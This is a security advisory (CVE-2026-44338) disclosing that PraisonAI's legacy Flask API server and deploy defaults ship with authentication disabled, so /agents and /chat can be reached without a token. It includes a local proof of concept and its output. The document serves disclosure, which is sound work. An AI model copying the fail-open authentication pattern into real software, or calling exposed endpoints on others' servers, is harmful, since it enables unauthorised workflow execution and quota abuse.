PraisonAI ships and generates a legacy API server with authentication disabled by default, allowing unauthenticated workflow execution
GHSA-6rmh-7xcm-cpxj · CVE-2026-44338
Published · Modified
Description
Summary
PraisonAI ships a legacy Flask API server with authentication disabled by default. When that server is used, any caller that can reach it can access /agents and trigger the configured agents.yaml workflow through /chat without providing a token.
Details
The vulnerable server is the shipped src/praisonai/api_server.py entrypoint.
AUTH_ENABLED = FalseandAUTH_TOKEN = Noneare hard-coded at src/praisonai/api_server.py.check_auth()returnsTruewhenever authentication is disabled, so both protected routes fail open by design at src/praisonai/api_server.py.POST /chatonly checks that the request JSON contains amessagekey and then runsPraisonAI(agent_file="agents.yaml").run()at src/praisonai/api_server.py.GET /agentsis guarded by the same no-op authentication check and returns agent metadata at src/praisonai/api_server.py.- When launched directly, the same script binds to
0.0.0.0:8080at src/praisonai/api_server.py.
The deploy subsystem keeps the same insecure authentication default:
APIConfigdefaultsauth_enabledtoFalsein src/praisonai/praisonai/deploy/models.py.- The generated sample API deployment YAML recommends
host: 0.0.0.0together withauth_enabled: falsein src/praisonai/praisonai/deploy/schema.py.
For scope clarity: the newer serve agents command is safer by default, because it binds to 127.0.0.1 and supports --api-key in src/praisonai/praisonai/cli/commands/serve.py. This report is about the shipped legacy API server and the generated/sample API deployment path above.
Version scope:
v2.5.6already ships the samesrc/praisonai/api_server.pyimplementation.- The current PyPI release on May 1, 2026 is
4.6.33, and it still ships the same unauthenticated server logic.
PoC
The following route-level reproduction was verified locally and proves that the shipped api_server.py exposes /agents and /chat without authentication.
- From the repository root, create a throwaway environment with the server's direct Flask dependencies:
python3 -m venv /tmp/praisonai-ghsa-venv
/tmp/praisonai-ghsa-venv/bin/pip install flask flask-cors
- Execute the shipped
src/praisonai/api_server.pyunder a minimal stub forpraisonai.PraisonAIso only the server auth logic is exercised:
/tmp/praisonai-ghsa-venv/bin/python - <<'PY'
import importlib.util
import pathlib
import sys
import types
stub = types.ModuleType("praisonai")
class DummyPraisonAI:
def __init__(self, agent_file="agents.yaml"):
self.agent_file = agent_file
def run(self):
return {"ran": True, "agent_file": self.agent_file}
stub.PraisonAI = DummyPraisonAI
sys.modules["praisonai"] = stub
path = pathlib.Path("src/praisonai/api_server.py").resolve()
spec = importlib.util.spec_from_file_location("api_server_local", path)
mod = importlib.util.module_from_spec(spec)
spec.loader.exec_module(mod)
client = mod.app.test_client()
print(client.get("/agents").status_code, client.get("/agents").get_data(as_text=True))
print(client.post("/chat", json={"message": "hello"}).status_code, client.post("/chat", json={"message": "hello"}).get_data(as_text=True))
PY
- Observed result:
200 {"agent_file":"agents.yaml","agents":["default"]}
200 {"response":{"agent_file":"agents.yaml","ran":true},"status":"success"}
Both endpoints succeed without any Authorization header.
Impact
Any reachable caller can invoke the legacy API server's protected functionality without a token.
At minimum, this allows:
- unauthenticated enumeration of the configured agent file through
/agents - unauthenticated triggering of the locally configured
agents.yamlworkflow through/chat - repeated consumption of model/API quota and any other side effects performed by that workflow
- exposure of whatever result
PraisonAI.run()returns to the unauthenticated caller
This is not the same as arbitrary prompt injection by itself, because the current /chat handler ignores the submitted message value and simply runs the configured workflow. The impact therefore depends on what the operator's agents.yaml is allowed to do, but the authentication bypass is unconditional in the shipped legacy server.
Ready to move
Start Securing
Free, no credit card | First findings in minutes